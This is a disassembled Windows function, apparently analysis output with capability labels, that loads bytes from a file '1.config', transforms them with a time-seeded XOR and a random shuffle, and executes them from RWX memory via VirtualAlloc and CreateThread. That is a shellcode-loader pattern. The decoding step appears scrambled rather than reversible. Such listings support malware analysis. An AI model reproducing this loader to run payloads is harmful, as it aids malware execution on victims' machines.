Function at 0x180001290
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x170
mov rax, qword [0x180008040]
xor rax, rsp
mov qword [rsp + 0x160], rax
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x50]
call fcn.180002340
nop
cmp qword [rsp + 0xe0], 0
jne 0x180001320
lea rdx, str.Failed_to_open_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180002890
mov rcx, rax
lea rdx, str.1.config
call fcn.180002890
mov rcx, rax
lea rdx, [0x180002a60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edi, edi
jmp 0x18000158c
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____cdecl_std::basic_istream_char__struct_std::char_traits_char__::tellg_void____ptr64]
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int____ptr64]
mov rcx, qword [rsp + 0x30]
add rcx, qword [rsp + 0x38]
call fcn.180002e20
mov rsi, rax
mov r8, qword [rsp + 0x38]
add r8, qword [rsp + 0x30]
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::read_char____ptr64__long_long___int64_____ptr64]
lea rcx, [rsp + 0x60]
call fcn.180002760
test rax, rax
jne 0x180001397
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rbx, qword [rsp + 0x38]
add rbx, qword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov edx, eax
and edx, 0x800000ff
jge 0x1800013cc
dec edx
or edx, 0xffffff00
inc edx
movsx eax, dl
movd xmm2, eax
punpcklbw xmm2, xmm2
punpcklwd xmm2, xmm2
pshufd xmm2, xmm2, 0
xor edi, edi
mov r8d, edi
test ebx, ebx
je 0x180001457
cmp ebx, 0x40
jb 0x18000145c
mov r9d, ebx
and r9d, 0xffffffc0
lea r10d, [rdi + 0x20]
nop dword [rax]
mov eax, r8d
movdqu xmm0, xmmword [rax + rsi]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rsi], xmm1
lea eax, [r10 - 0x10]
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm2
movdqu xmmword [rax + rsi], xmm0
mov eax, r10d
movdqu xmm0, xmmword [rax + rsi]
movdqa xmm1, xmm2
xorps xmm1, xmm0
movdqu xmmword [rax + rsi], xmm1
lea eax, [r10 + 0x10]
movdqu xmm0, xmmword [rax + rsi]
xorps xmm0, xmm2
movdqu xmmword [rax + rsi], xmm0
add r8d, 0x40
add r10d, 0x40
cmp r8d, r9d
jb 0x180001400
cmp r8d, ebx
jae 0x18000147c
mov eax, r8d
add rax, rsi
sub ebx, r8d
mov ecx, ebx
nop word [rax + rax]
xor byte [rax], dl
lea rax, [rax + 1]
sub rcx, 1
jne 0x180001470
mov r14, qword [rsp + 0x38]
add r14, qword [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
test r14d, r14d
je 0x1800014c8
mov rbx, rsi
mov ebp, r14d
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor edx, edx
div r14d
movzx r8d, byte [rbx]
movsxd rcx, edx
movzx eax, byte [rcx + rsi]
mov byte [rbx], al
mov byte [rcx + rsi], r8b
lea rbx, [rbx + 1]
sub rbp, 1
jne 0x1800014a2
lea rdx, str.Code_loaded_successfully_from_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180002890
mov rcx, rax
lea rdx, str.1.config
call fcn.180002890
mov rcx, rax
lea rdx, [0x180002a60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
add rcx, qword [rsp + 0x38]
mov ebp, ecx
mov r9d, 0x40
mov r8d, 0x1000
mov edx, ecx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x180001549
lea rdx, str.Failed_to_allocate_memory
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180002890
mov rcx, rax
lea rdx, [0x180002a60]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x18000158c
mov r8, rbp
mov rdx, rsi
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x18000157e
lea rdx, str.Failed_to_create_thread
jmp 0x18000152b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 1
lea rcx, [rsp + 0x50]
call fcn.1800015d0
mov eax, edi
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.180002d90
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret